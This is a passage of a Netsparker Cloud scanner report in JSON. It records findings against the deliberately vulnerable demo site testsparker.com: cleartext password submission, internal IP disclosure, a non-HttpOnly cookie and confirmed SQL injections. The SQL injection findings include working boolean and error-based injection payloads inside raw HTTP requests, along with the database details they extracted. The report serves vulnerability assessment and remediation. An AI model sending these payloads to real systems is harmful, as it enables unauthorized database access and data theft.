application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU%3d&__VIEWSTATEGENERATOR=6EB33A6B&__EVENTVALIDATION=%2fwEdAATIFiQc2tmrCF%2fDbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS%2fj0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G%2fVdyd7n0L954C0VEWnLng%3d&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1=Sign+in","Parameters":[{"Name":"r","Type":"Querystring","Value":"%2fDashboard%2f","Vulnerable":false},{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6EB33A6B","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAATIFiQc2tmrCF/DbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS/j0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G/Vdyd7n0L954C0VEWnLng=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1","Type":"Post","Value":"Sign in","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":98.4901,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5496\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:39 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

Login Failed. Please try again.

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Form target action","Value":"?r=%2fDashboard%2f"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected that password data is being transmitted over HTTP.

","Impact":"
If an attacker can intercept network traffic, he/she can steal users' credentials.
","RemedialActions":"
  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
","ExploitationSkills":"","RemedialProcedure":"
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input, starting from the login process, should only be served over HTTPS.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Contact.aspx","Type":"InternalIPLeakage","Name":"[Possible] Internal IP Address Disclosure","Severity":"Low","Certainty":50,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"200","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /Contact.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Contact.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 509\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8%2fyR%2fM64ht6Yg%3d%3d&__VIEWSTATEGENERATOR=CD2448B2&__EVENTVALIDATION=%2fwEdAASIT%2fHRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ%2fhIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7%2fRJAs4%2bwetzxHt9jYp2WcV8wLebbRRFs%3d&ctl00%24contentCenterMenu%24contact%24txtMail=&ctl00%24contentCenterMenu%24contact%24btnSend=Send&ctl00%24contentCenterMenu%24contact%24txtMessage=%0d%0a","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8/yR/M64ht6Yg==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CD2448B2","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASIT/HRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ/hIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7/RJAs4+wetzxHt9jYp2WcV8wLebbRRFs=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMail","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24btnSend","Type":"Post","Value":"Send","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMessage","Type":"Post","Value":"\r\n","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.482,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4886\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:23 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Contact

\r\n

\r\n You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. \r\n

\r\n
\r\n E-Mail\r\n
\r\n Message\r\n
\r\n
\r\n We received your message and contact details. We'll get back to you soon via e-mail.\r\n
\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"ExtractedIPAddresses","Value":"10.6.8.25"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible internal IP address disclosure in the page.

It was not determined if the IP address was that of the system itself or that of an internal network.

","Impact":"
There is no direct impact; however, this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
First, ensure this is not a false positive. Due to the nature of the issue, Netsparker Cloud could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is, consider removing it.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"CookieNotMarkedAsHttpOnly","Name":"Cookie Not Marked as HttpOnly","Severity":"Low","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"107","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Cookie(s)","Value":"TestCookie"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

","Impact":"
During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.
","RemedialActions":"
  1. See the remedy for solution.
  2. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
","ExploitationSkills":"","RemedialProcedure":"
Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/blog/how-does-bitcoin-work-63%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns/","Type":"ConfirmedBooleanSqlInjection","Name":"Boolean Based SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /blog/how-does-bitcoin-work-63%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Blogs.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"param1","Type":"UrlRewrite","Value":"how-does-bitcoin-work-63' OR 1=1 OR 'ns'='ns","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":93.7488,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4728\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:49:25 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

\r\n How does Bitcoin work\r\n

\r\n

\r\n 5/18/2008 12:00:00 AM\r\n

\r\n

\r\n From a user perspective, Bitcoin is nothing more than a mobile app or computer program that provides a personal Bitcoin wallet and allows a user to send and receive bitcoins with them. This is how Bitcoin works for most users.Behind the scenes, the Bitcoin network is sharing a public ledger called the \"block chain\". This ledger contains every transaction ever processed, allowing a user's computer to verify the validity of each transaction. The authenticity of each transaction is protected by digital signatures corresponding to the sending addresses, allowing all users to have full control over sending bitcoins from their own Bitcoin addresses. In addition, anyone can process transactions using the computing power of specialized hardware and earn a reward in bitcoins for this service. This is often called \"mining\". To learn more about Bitcoin, you can consult the dedicated page and the original paper.\r\n

\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a Boolean-based SQL injection, which occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Netsparker Cloud to identify and confirm the SQL injection.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64)   apr 20 2015 17 29 27   copyright (c) microsoft corporation  express edition (64-bit) on windows nt 6.3 <x64> (build 9600  ) (hypervisor)

Identified Database User

dbo

Identified Database Name

testsparker
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data/tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
","RemedialProcedure":"
The best way to protect your code against SQL injections is using parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns)","Type":"ConfirmedSqlInjection","Name":"SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Products.aspx?pId=4\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 592\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKLTkwODI2NDE3Nw9kFgJmD2QWAgIDD2QWAgIFD2QWAgIBD2QWCAIBDw8WAh4EVGV4dAUHOTAuMDAwMGRkAgMPDxYCHwAFDlJhc3BiZXJyeSBQaSAjZGQCBQ8PFgIeCEltYWdlVXJsBQ4vc3RhdGljcy80LmpwZ2RkAgcPDxYCHwAFugFJbiAyMDE0LCB0aGUgUmFzcGJlcnJ5IFBpIEZvdW5kYXRpb24gbGF1bmNoZWQgdGhlIENvbXB1dGUgTW9kdWxlLCB3aGljaCBwYWNrYWdlcyBhIEJDTTI4MzUgd2l0aCA1MTIgTUIgUkFNIGFuZCBhbiBlTU1DIGZsYXNoIGNoaXAgaW50byBhIG1vZHVsZSBmb3IgdXNlIGFzIGEgcGFydCBvZiBlbWJlZGRlZCBzeXN0ZW1zLlsxMV1kZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkciG4O0r5nVYQULqULgbrrMAo6XvL%2fDfY38VhKi4pneE%3d&__VIEWSTATEGENERATOR=AA98EE0D","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKLTkwODI2NDE3Nw9kFgJmD2QWAgIDD2QWAgIFD2QWAgIBD2QWCAIBDw8WAh4EVGV4dAUHOTAuMDAwMGRkAgMPDxYCHwAFDlJhc3BiZXJyeSBQaSAjZGQCBQ8PFgIeCEltYWdlVXJsBQ4vc3RhdGljcy80LmpwZ2RkAgcPDxYCHwAFugFJbiAyMDE0LCB0aGUgUmFzcGJlcnJ5IFBpIEZvdW5kYXRpb24gbGF1bmNoZWQgdGhlIENvbXB1dGUgTW9kdWxlLCB3aGljaCBwYWNrYWdlcyBhIEJDTTI4MzUgd2l0aCA1MTIgTUIgUkFNIGFuZCBhbiBlTU1DIGZsYXNoIGNoaXAgaW50byBhIG1vZHVsZSBmb3IgdXNlIGFzIGEgcGFydCBvZiBlbWJlZGRlZCBzeXN0ZW1zLlsxMV1kZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkciG4O0r5nVYQULqULgbrrMAo6XvL/DfY38VhKi4pneE=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"AA98EE0D","Vulnerable":false},{"Name":"pId","Type":"Querystring","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":93.7385,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5025\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:13:35 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n
\r\n
\r\n

90.0000

\r\n

Raspberry Pi #

\r\n
\"Conversion
\r\n
\r\n

In 2014, the Raspberry Pi Foundation launched the Compute Module, which packages a BCM2835 with 512 MB RAM and an eMMC flash chip into a module for use as a part of embedded systems.[11]

\r\n

Back to shop.

\r\n
\r\n
\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) \n\tapr 20 2015 17:29:27 \n\tcopyright (c) microsoft corporation\n\texpress edition (64-bit) on windows nt 6.3 &lt;x64> (build 9600: ) (hypervisor)\n

Identified Database Name

testsparker

Identified Database User

dbo
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_search.asmx","Type":"ConfirmedSqlInjection","Name":"SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /WS_search.asmx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: */*\r\nOrigin: http://testsparker.com\r\nReferer: http://testsparker.com/About.aspx\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 403\r\nContent-Type: text/xml\r\n\r\n(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Parameters":[{"Name":"/soap12:Envelope[1]/soap12:Body[1]/GetEmployee[1]/id[1]/text()[1]","Type":"Xml","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":109.3785,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 437\r\nContent-Type: application/soap+xml; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:13:09 GMT\r\nCache-Control: private, max-age=0\r\n\r\nConversion failed when converting the varchar value '_!@2dilemma' to data type int."},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) \n\tapr 20 2015 17:29:27 \n\tcopyright (c) microsoft corporation\n\texpress edition (64-bit) on windows nt 6.3 &lt;x64&gt; (build 9600: ) (hypervisor)\n

Identified Database Name

testsparker

Identified Database User

dbo
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns)","Type":"ConfirmedSqlInjection","Name":"SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Shop.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, 